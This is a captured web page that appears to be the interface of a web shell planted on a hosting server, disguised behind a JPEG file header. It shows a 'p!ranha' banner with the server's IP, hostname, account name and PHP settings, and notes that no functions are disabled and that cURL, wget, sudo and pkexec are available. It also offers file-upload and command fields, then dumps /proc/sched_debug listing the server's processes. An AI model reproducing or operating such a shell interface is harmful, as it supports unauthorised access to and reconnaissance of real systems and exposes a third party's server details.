ÿØÿà JFIF    ÿþ >CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality ÿÛ C     p!ranha?
Server IP : 172.67.171.101  /  Your IP : 216.73.216.123
Web Server : Apache
System : Linux server1.morocco-tours.com 3.10.0-1127.19.1.el7.x86_64 #1 SMP Tue Aug 25 17:23:54 UTC 2020 x86_64
User : zagoradraa ( 1005)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /proc/sched_debug
Sched Debug Version: v0.11, 3.10.0-1127.19.1.el7.x86_64 #1
ktime                                   : 19887157775.810152
sched_clk                               : 19885508138.728194
cpu_clk                                 : 19885508138.728252
jiffies                                 : 24181825072
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 18.000000
  .sysctl_sched_min_granularity            : 10.000000
  .sysctl_sched_wakeup_granularity         : 15.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 40571
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 2593.906 MHz
  .nr_running                    : 0
  .load                          : 0
  .nr_switches                   : 741931715
  .nr_load_updates               : 659365766
  .nr_uninterruptible            : 9776
  .next_balance                  : 24181.825076
  .curr->pid                     : 0
  .clock                         : 19885508139.935598
  .cpu_load[0]                   : 0
  .cpu_load[1]                   : 208
  .cpu_load[2]                   : 440
  .cpu_load[3]                   : 401
  .cpu_load[4]                   : 297
  .avg_idle                      : 543821
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 546471130.179050
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_load_avg             : 0
  .blocked_load_avg              : 118
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .tg->cfs_bandwidth.timer_active: 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 6720
  .avg->runnable_avg_period      : 47238

rt_rq[0]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 900.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
    kworker/0:0H     4      1271.122577         7   100         0.000000         0.029219         0.000000 0 /
     ksoftirqd/0     6 546471110.096248   2660313   120         0.000000     68308.694726         0.000000 0 /
     migration/0     7         0.000000   5774074     0         0.000000     90238.422505         0.000000 0 /
          rcu_bh     8       118.544234         2   120         0.000000         0.001269         0.000000 0 /
   lru-add-drain    10       122.545440         2   100         0.000000         0.002293         0.000000 0 /
      watchdog/0    11         0.000000   4971722     0         0.000000     88361.825192         0.000000 0 /
   ipv6_addrconf    60 299823202.353894         4   100         0.000000         0.066833         0.000000 0 /
    kworker/0:1H   274 546470506.453125   3783205   100         0.000000     52822.968502         0.000000 0 /
     jbd2/vda2-8   287 546470506.810159  16813748   120         0.000000   1074378.121928         0.000000 0 /
 ext4-rsv-conver   288      1314.084175         2   100         0.000000         0.008642         0.000000 0 /
   systemd-udevd   400 350362249.481296       762   120         0.000000        73.640581         0.000000 0 /
          auditd   428 546459841.738261    273854   116         0.000000     16715.243607         0.000000 0 /
 JS Sour~ Thread   567      1763.481471         4   120         0.000000         0.102742         0.000000 0 /
            nscd   499 546471121.279453  18215888   120         0.000000   1084956.815680         0.000000 0 /
            nscd   539 546467113.379818   1039100   120         0.000000    152465.980508         0.000000 0 /
            nscd   545 546471110.176175   1351208   120         0.000000    153297.157582         0.000000 0 /
            nscd   546 546471110.436060   1350559   120         0.000000    153536.139744         0.000000 0 /
            nscd 22305 546471110.176444   1263390   120         0.000000    146170.336875         0.000000 0 /
          smartd   504 546395418.758872     11328   120         0.000000      3881.715428         0.000000 0 /
        gssproxy   556      1745.216253        87   120         0.000000        10.022357         0.000000 0 /
        gssproxy   569      1753.421601         1   120         0.000000         0.015642         0.000000 0 /
        gssproxy   571      1751.935460         1   120         0.000000         0.029504         0.000000 0 /
        gssproxy   573      1756.001495         1   120         0.000000         0.015966         0.000000 0 /
           crond   583 546460644.601166    911576   120         0.000000    211672.855637         0.000000 0 /
            exim   601 546440581.885645    308468   120         0.000000    195228.499306         0.000000 0 /
          agetty   602      2604.161473        10   120         0.000000         5.985196         0.000000 0 /
        rsyslogd   831 546404963.621027     33247   120         0.000000      2637.558297         0.000000 0 /
   rs:main Q:Reg   838 546470615.274384  15046152   120         0.000000   1045273.775320         0.000000 0 /
 pdns/ctrlListen   904  72354732.098602        15   120         0.000000        11.138992         0.000000 0 /
          mysqld  1027 546461462.828901    662900   120         0.000000     30014.282965         0.000000 0 /
          mysqld  1036 546470951.042313  39763018   120         0.000000   1305684.419400         0.000000 0 /
          mysqld  1043 546471121.211518  39763047   120         0.000000   1298677.879819         0.000000 0 /
          mysqld  1073 546471099.971767  19884071   120         0.000000    807356.077636         0.000000 0 /
 cpdavd - accept   972 546267970.488865    113912   120         0.000000    669465.786960         0.000000 0 /
          config 23046 546451409.733529    139018   120         0.000000     53485.560783         0.000000 0 /
           stats 23047 546456624.924971    248034   120         0.000000     22890.598555         0.000000 0 /
  cpanel_php_fpm  1477 546470940.263204   4040401   120         0.000000    227598.781262         0.000000 0 /
      run-script  1588 546471100.427455   4076874   120         0.000000   2051062.940667         0.000000 0 /
           httpd  9641 535400234.907475         5   120         0.000000         3.340354         0.000000 0 /
         php-cgi 12319 546470951.100285    111791   120         0.000000     10604.857609         0.000000 0 /
           httpd 18054 540783161.111889      3458   120         0.000000      2124.111875         0.000000 0 /
           httpd  6395 541698186.822933         4   120         0.000000         2.759011         0.000000 0 /
         php-cgi  1264 546471035.903985     43930   120         0.000000      4067.031588         0.000000 0 /
           httpd  1300 541698186.759320         6   120         0.000000         3.050153         0.000000 0 /
           httpd  1319 541314258.701140         5   120         0.000000         9.229532         0.000000 0 /
         php-cgi  1376 546470839.132607     43912   120         0.000000      4183.010180         0.000000 0 /
         php-cgi  1767 546471036.107618     43864   120         0.000000      4234.116087         0.000000 0 /
         php-cgi  1803 546470940.315306     43857   120         0.000000      4218.645577         0.000000 0 /
         php-cgi  2010 546470839.152845     43830   120         0.000000      4219.681977         0.000000 0 /
  lfd - sleeping 21295 546469400.769973      9274   120         0.000000     82942.271223         0.000000 0 /
           httpd 18206 542681752.917320       335   120         0.000000       302.089981         0.000000 0 /
     kworker/0:2 17405 546459736.129561      3859   120         0.000000       117.670540         0.000000 0 /
           httpd 20373 546457450.186782      2587   120         0.000000      1269.327720         0.000000 0 /
           httpd 20378 546468409.475489      8206   120         0.000000      1664.252376         0.000000 0 /
           httpd 20380 546471121.706086     12184   120         0.000000      1924.900687         0.000000 0 /
           httpd 20386 546105391.760014       719   120         0.000000       325.875044         0.000000 0 /
           httpd 20389 546455571.093798      1776   120         0.000000      1167.389274         0.000000 0 /
           httpd 20416 546470119.931129      2957   120         0.000000      1263.881496         0.000000 0 /
           httpd 20428 546468653.102355      7039   120         0.000000      2617.861750         0.000000 0 /
           httpd 20450 546457563.007118      1681   120         0.000000      1167.782276         0.000000 0 /
           httpd 20451 546459338.480375      2451   120         0.000000       949.237559         0.000000 0 /
           httpd 20453 546458852.604506      7958   120         0.000000      2904.083222         0.000000 0 /
           httpd 20466 546469402.006861      5470   120         0.000000      2377.557622         0.000000 0 /
           httpd 20487 546471120.294431      8521   120         0.000000      1423.506465         0.000000 0 /
           httpd 20488 546468615.122280     19542   120         0.000000      4677.699481         0.000000 0 /
           httpd 20490 546469636.244734      7145   120         0.000000      2644.672817         0.000000 0 /
           httpd 20501 546452295.166446      1831   120         0.000000      1196.276023         0.000000 0 /
           httpd 20504 546456723.643453     14752   120         0.000000      5416.128090         0.000000 0 /
           httpd 26328 546470599.094361     11142   120         0.000000      3549.346405         0.000000 0 /
           httpd 26330 546452573.558966      1717   120         0.000000      1059.378362         0.000000 0 /
           httpd 26346 546470945.979123      1198   120         0.000000       903.033777         0.000000 0 /
           httpd 26347 546458802.704653      8461   120         0.000000      2258.394187         0.000000 0 /
           httpd 26350 546471007.202689      6462   120         0.000000      1153.368496         0.000000 0 /
         php-cgi 26356 546471018.701893      3733   120         0.000000       391.671802         0.000000 0 /
           httpd 26435 546469599.033118      7020   120         0.000000      2393.876347         0.000000 0 /
           httpd 26446 546471115.748577     16861   120         0.000000      2718.223044         0.000000 0 /
           httpd 26447 546471088.356185      9910   120         0.000000      3775.385330         0.000000 0 /
           httpd 26449 546459743.869562      1992   120         0.000000       860.337316         0.000000 0 /
           httpd 26450 546468572.055460     10840   120         0.000000      1489.290008         0.000000 0 /
    kworker/u8:0 12266 546345750.912726       129   120         0.000000        15.622527         0.000000 0 /
     kworker/0:0 13576 546459736.128310         5   120         0.000000         0.061901         0.000000 0 /
     kworker/0:1 23092 546471111.325339        41   120         0.000000         1.084196         0.000000 0 /
         php-cgi 23864 546471110.315917        13   120         0.000000        68.883552         0.000000 0 /
         php-cgi 23866 546471121.326028        13   120         0.000000        59.882454         0.000000 0 /
         php-cgi 23869 546471110.330897        12   120         0.000000        68.517475         0.000000 0 /
         php-cgi 23872 546471121.388946        14   120         0.000000        76.197573         0.000000 0 /
         php-cgi 23873 546471121.596483        11   120         0.000000        61.751524         0.000000 0 /

cpu#1, 2593.906 MHz
  .nr_running                    : 0
  .load                          : 0
  .nr_switches                   : 983773163
  .nr_load_updates               : 800184629
  .nr_uninterruptible            : 9779
  .next_balance                  : 24181.825078
  .curr->pid                     : 0
  .clock                         : 19885508139.953553
  .cpu_load[0]                   : 0
  .cpu_load[1]                   : 0
  .cpu_load[2]                   : 0
  .cpu_load[3]                   : 1
  .cpu_load[4]                   : 30
  .avg_idle                      : 906532
  .max_idle_balance_cost         : 500000

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 589552874.429212
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 43081744.250162
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_load_avg             : 0
  .blocked_load_avg              : 56
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .tg->cfs_bandwidth.timer_active: 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 7458
  .avg->runnable_avg_period      : 47633

rt_rq[1]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
         systemd     1 589551006.748118  16682549   120         0.000000   6950367.578416         0.000000 0 /
        kthreadd     2 589541254.738781     56397   120         0.000000      3827.596694         0.000000 0 /
       rcu_sched     9 589552865.645152 2407985033   120         0.000000  34036695.136670         0.000000 0 /
      watchdog/1    12        -2.991792   4971722     0         0.000000     75248.930577         0.000000 0 /
     migration/1    13         0.000000   5108777     0         0.000000     78925.679206         0.000000 0 /
     ksoftirqd/1    14 589552846.516483   2759311   120         0.000000     66610.712322         0.000000 0 /
    kworker/1:0H    16       917.107820         8   100         0.000000         0.064583         0.000000 0 /
           netns    29        23.675933         2   100         0.000000         0.018813         0.000000 0 /
      khungtaskd    30 589533918.018421    165727   120         0.000000     16382.887511         0.000000 0 /
     kintegrityd    32        41.718078         2   100         0.000000         0.009850         0.000000 0 /
          bioset    33        47.727376         2   100         0.000000         0.009717         0.000000 0 /
          bioset    34        53.740983         2   100         0.000000         0.013992         0.000000 0 /
          bioset    35        59.749381         2   100         0.000000         0.008872         0.000000 0 /
         kblockd    36        65.756464         2   100         0.000000         0.007516         0.000000 0 /
              md    37        71.771321         2   100         0.000000         0.016009         0.000000 0 /
     edac-poller    38        77.785399         2   100         0.000000         0.014466         0.000000 0 /
       watchdogd    39        84.396308         2   100         0.000000         0.616804         0.000000 0 /
         kswapd0    45 589148900.583272      3716   120         0.000000     30830.919811         0.000000 0 /
            ksmd    46       123.757368         2   125         0.000000         0.018827         0.000000 0 /
      khugepaged    47 589549511.704724   1835447   139         0.000000    142759.799376         0.000000 0 /
          crypto    48       135.942171         2   100         0.000000         0.028176         0.000000 0 /
        kthrotld    56       184.378246         2   100         0.000000         0.013564         0.000000 0 /
    kmpath_rdacd    57       190.400508         2   100         0.000000         0.023252         0.000000 0 /
          kaluad    58       196.413802         2   100         0.000000         0.014126         0.000000 0 /
       kpsmoused    59       202.430045         2   100         0.000000         0.017082         0.000000 0 /
         deferwq    73       268.864022         2   100         0.000000         0.014128         0.000000 0 /
    kworker/1:1H   286 589552596.466472   5026016   100         0.000000     87377.688651         0.000000 0 /
          auditd   427 589542518.334074   3403180   116         0.000000    244836.688391         0.000000 0 /
          rpciod   431      1308.832335         2   100         0.000000         0.027151         0.000000 0 /
         xprtiod   432      1314.845752         2   100         0.000000         0.013919         0.000000 0 /
      irqbalance   477 589548853.014747   1988808   120         0.000000    621554.097062         0.000000 0 /
  systemd-logind   483 589551006.530030   6432481   120         0.000000   1084844.018076         0.000000 0 /
 queueprocd - wa   484 589538141.847220    560028   120         0.000000   1157879.264687         0.000000 0 /
           gmain   526      1522.008053         1   120         0.000000         0.052360         0.000000 0 /
            nscd   543 587881382.866340       232   120         0.000000        33.238731         0.000000 0 /
            nscd   548 589552816.790502   1352339   120         0.000000    153192.789587         0.000000 0 /
            nscd   549 589552815.720017   1350942   120         0.000000    151927.596506         0.000000 0 /
            nscd 22301 589552798.970466   1263856   120         0.000000    145964.638259         0.000000 0 /
            nscd 22302 589552864.692142   1264093   120         0.000000    146498.631861         0.000000 0 /
            nscd 22306 589552815.900811   1264468   120         0.000000    145888.593861         0.000000 0 /
            nscd 17819 589552865.733701    343575   120         0.000000     51812.895261         0.000000 0 /
     dbus-daemon   511 589551006.696828  10826130   120         0.000000   2077748.402673         0.000000 0 /
             atd   585 589470262.247050      5571   120         0.000000       744.845198         0.000000 0 /
           loop0   704 589552262.725689   2290951   100         0.000000    287547.733629         0.000000 0 /
    jbd2/loop0-8   708 589552262.812011   1061093   120         0.000000    127006.756553         0.000000 0 /
           tuned  1424 589552586.038639  19866416   120         0.000000   2443543.783538         0.000000 0 /
           tuned  1427      7733.187568         4   120         0.000000         0.466593         0.000000 0 /
    in:imjournal   837 589552695.975581  32356033   120         0.000000   4212690.283991         0.000000 0 /
 pdns/statHelper   906 589552696.052090  19883907   120         0.000000   1162115.453008         0.000000 0 /
 pdns/carbonDump   909 589552749.104101  19884129   120         0.000000    743967.476784         0.000000 0 /
          mysqld   935 589541244.514843    485507   120         0.000000     46882.262860         0.000000 0 /
          mysqld  1037 589552865.439043  39763021   120         0.000000   1328089.022079         0.000000 0 /
          mysqld  1039 589552671.748150  39762997   120         0.000000   1329095.572347         0.000000 0 /
          mysqld  1041 589552722.016103  39763143   120         0.000000   1306664.895658         0.000000 0 /
          mysqld  1042 589552865.449157  39763120   120         0.000000   1302744.834218         0.000000 0 /
          mysqld  1045 589552865.444892  30266043   120         0.000000    907593.807652         0.000000 0 /
          mysqld  1074 589552816.736681  19883978   120         0.000000    986916.046354         0.000000 0 /
          mysqld  1086 589552865.491957  19901875   120         0.000000   1066070.894727         0.000000 0 /
          mysqld  1104      5565.019788       292   120         0.000000        34.562321         0.000000 0 /
          mysqld  1119      5165.960734         6   120         0.000000         1.134493         0.000000 0 /
           spamd   938 589552494.116667  10058625   120         0.000000   3686078.075553         0.000000 0 /
 dnsadmin - dorm   971 589549446.724489   2178167   120         0.000000    731508.478880         0.000000 0 /
      tailwatchd   974 589538127.933396   1101355   120         0.000000    626261.337819         0.000000 0 /
           httpd  1212 589552865.519371  19886519   120         0.000000   1602034.422518         0.000000 0 /
      imap-login 23041 589526920.715227     69095   120         0.000000     19421.869952         0.000000 0 /
   sw-engine-fpm  1502 589551006.540216    410977   120         0.000000     64171.440992         0.000000 0 /
      run-script  1592 589541075.029442     70130   120         0.000000     60348.809184         0.000000 0 /
           httpd 18030 584481913.073340         6   120         0.000000         3.405524         0.000000 0 /
         php-cgi  2382 589552561.697628     48024   120         0.000000      4493.980034         0.000000 0 /
         php-cgi  1893 589552816.744578     43844   120         0.000000      4232.778846         0.000000 0 /
           httpd 18195 586819455.672103         7   120         0.000000         3.100293         0.000000 0 /
         php-cgi 24252 589552764.028943     32593   120         0.000000      3180.694647         0.000000 0 /
     kworker/1:1  4651 589552857.573806      6995   120         0.000000       148.486380         0.000000 0 /
           httpd 20369 589075112.681649         1   120         0.000000         3.266498         0.000000 0 /
           httpd 20383 589533680.644104      2122   120         0.000000      1138.079792         0.000000 0 /
           httpd 20396 589552571.997648      1695   120         0.000000       154.474889         0.000000 0 /
           httpd 20409 589075295.546830         1   120         0.000000         2.612497         0.000000 0 /
           httpd 20418 589550620.906747      2469   120         0.000000      1041.938600         0.000000 0 /
           httpd 20422 589539028.668894      5771   120         0.000000      2460.549083         0.000000 0 /
           httpd 20424 589532876.413194      2619   120         0.000000      1017.320129         0.000000 0 /
           httpd 20434 589547425.134391      2054   120         0.000000      1131.190684         0.000000 0 /
           httpd 20436 589551756.471095      1685   120         0.000000       153.845828         0.000000 0 /
           httpd 20445 589075396.059157         1   120         0.000000         2.500798         0.000000 0 /
           httpd 20457 589537552.339030      2519   120         0.000000      1123.756048         0.000000 0 /
           httpd 20459 589549820.909874      8706   120         0.000000      1731.991288         0.000000 0 /
           httpd 20462 589541222.075942      1541   120         0.000000      1194.878397         0.000000 0 /
           httpd 20463 589538624.528577      1050   120         0.000000       802.340925         0.000000 0 /
           httpd 20465 589550752.099474      1973   120         0.000000      1253.363218         0.000000 0 /
           httpd 20467 589534129.628863      7315   120         0.000000      2325.596547         0.000000 0 /
           httpd 20468 589539955.160387      1280   120         0.000000      1041.189593         0.000000 0 /
           httpd 20471 589552571.892870      1676   120         0.000000       155.437784         0.000000 0 /
           httpd 20483 589075479.083704         1   120         0.000000         2.593259         0.000000 0 /
           httpd 20496 589547032.643468      1506   120         0.000000      1094.169341         0.000000 0 /
           httpd 20497 589552710.495515      3864   120         0.000000      1954.600110         0.000000 0 /
           httpd 20502 589549810.768081      4659   120         0.000000      1485.527194         0.000000 0 /
           httpd 20505 589537440.173156      3394   120         0.000000      1189.848548         0.000000 0 /
           httpd 20508 589542734.090032      1291   120         0.000000      1051.445237         0.000000 0 /
         php-cgi 26289 589552659.743259      3742   120         0.000000       423.433235         0.000000 0 /
           httpd 26334 589538876.540439      1763   120         0.000000       850.582142         0.000000 0 /
           httpd 26336 589552807.841546     11195   120         0.000000      1179.554112         0.000000 0 /
           httpd 26337 589533058.937304      5204   120         0.000000      1066.777745         0.000000 0 /
           httpd 26353 589552036.456504      1330   120         0.000000       129.220896         0.000000 0 /
           httpd 26432 589552816.725909      3714   120         0.000000       188.856543         0.000000 0 /
           httpd 26441 589536683.857541     11470   120         0.000000      3891.641462         0.000000 0 /
           httpd 26443 589533821.592867      6976   120         0.000000      2391.291940         0.000000 0 /
           httpd 26454 589542517.435464      3259   120         0.000000      1290.341493         0.000000 0 /
     kworker/1:2 18313 589484209.243298         2   120         0.000000         0.003441         0.000000 0 /
         php-cgi 23868 589552817.011318        10   120         0.000000        75.886658         0.000000 0 /
         php-cgi 23878 589552866.562602        11   120         0.000000        59.830273         0.000000 0 /

cpu#2, 2593.906 MHz
  .nr_running                    : 1
  .load                          : 1024
  .nr_switches                   : 1036361378
  .nr_load_updates               : 808993130
  .nr_uninterruptible            : -15398
  .next_balance                  : 24181.825127
  .curr->pid                     : 23880
  .clock                         : 19885508139.925115
  .cpu_load[0]                   : 1024
  .cpu_load[1]                   : 1024
  .cpu_load[2]                   : 1026
  .cpu_load[3]                   : 1034
  .cpu_load[4]                   : 976
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[2]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 572324543.919812
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 25853413.740762
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1024
  .runnable_load_avg             : 1007
  .blocked_load_avg              : 193
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .tg->cfs_bandwidth.timer_active: 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 26137
  .avg->runnable_avg_period      : 46290

rt_rq[2]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
      watchdog/2    17        -5.989847   4971723     0         0.000000     76732.007711         0.000000 0 /
     migration/2    18         0.000000   5152932     0         0.000000     77969.308476         0.000000 0 /
     ksoftirqd/2    19 572324518.976466   2695752   120         0.000000     66308.131301         0.000000 0 /
    kworker/2:0H    21       720.171860         8   100         0.000000         0.049642         0.000000 0 /
         kauditd   111 572313798.613021   3367770   120         0.000000    117301.392639         0.000000 0 /
         ata_sff   242 572257345.221389       203   100         0.000000        25.054426         0.000000 0 /
        ttm_swap   255       689.250966         2   100         0.000000         0.009950         0.000000 0 /
       scsi_eh_0   263       733.320031         4   120         0.000000         0.536470         0.000000 0 /
      scsi_tmf_0   264       709.941950         2   100         0.000000         0.013488         0.000000 0 /
       scsi_eh_1   265      1722.404099        37   120         0.000000         4.137016         0.000000 0 /
      scsi_tmf_1   266       721.958643         2   100         0.000000         0.008402         0.000000 0 /
    kworker/2:1H   269 572324440.412915   7433648   100         0.000000    132718.696804         0.000000 0 /
      pure-authd   482 572296685.529383    141143   120         0.000000     30651.566068         0.000000 0 /
         polkitd   486 572313798.745355   2849187   120         0.000000    305294.348576         0.000000 0 /
           gdbus   555 572313798.621995   2749479   120         0.000000    383129.559804         0.000000 0 /
         polkitd   561      1707.818476         1   120         0.000000         0.080888         0.000000 0 /
         rpcbind   492 572318399.890817    662529   120         0.000000     41279.548630         0.000000 0 /
            nscd   540 572311404.567007    569055   120         0.000000     57708.445358         0.000000 0 /
            nscd   544 572324449.010944   1351124   120         0.000000    152507.282349         0.000000 0 /
            nscd 22307 572324488.003601   1264069   120         0.000000    145665.780920         0.000000 0 /
        gssproxy   570      1725.203839         1   120         0.000000         0.008236         0.000000 0 /
        gssproxy   572      1724.303907         1   120         0.000000         0.008303         0.000000 0 /
         qemu-ga   580 560542949.431237        73   120         0.000000        11.614038         0.000000 0 /
            sshd   827 572230009.726994    395372   120         0.000000    162021.081361         0.000000 0 /
           tuned   829 572290864.719415      7071   120         0.000000      1592.787570         0.000000 0 /
     pdns_server   832 572313455.786914     66654   120         0.000000    101301.923391         0.000000 0 /
  pdns/webserver   905 569632533.635609       461   120         0.000000        85.548233         0.000000 0 /
 cpsrvd (SSL) -    840 572321114.233286   2079203   120         0.000000   7570027.876974         0.000000 0 /
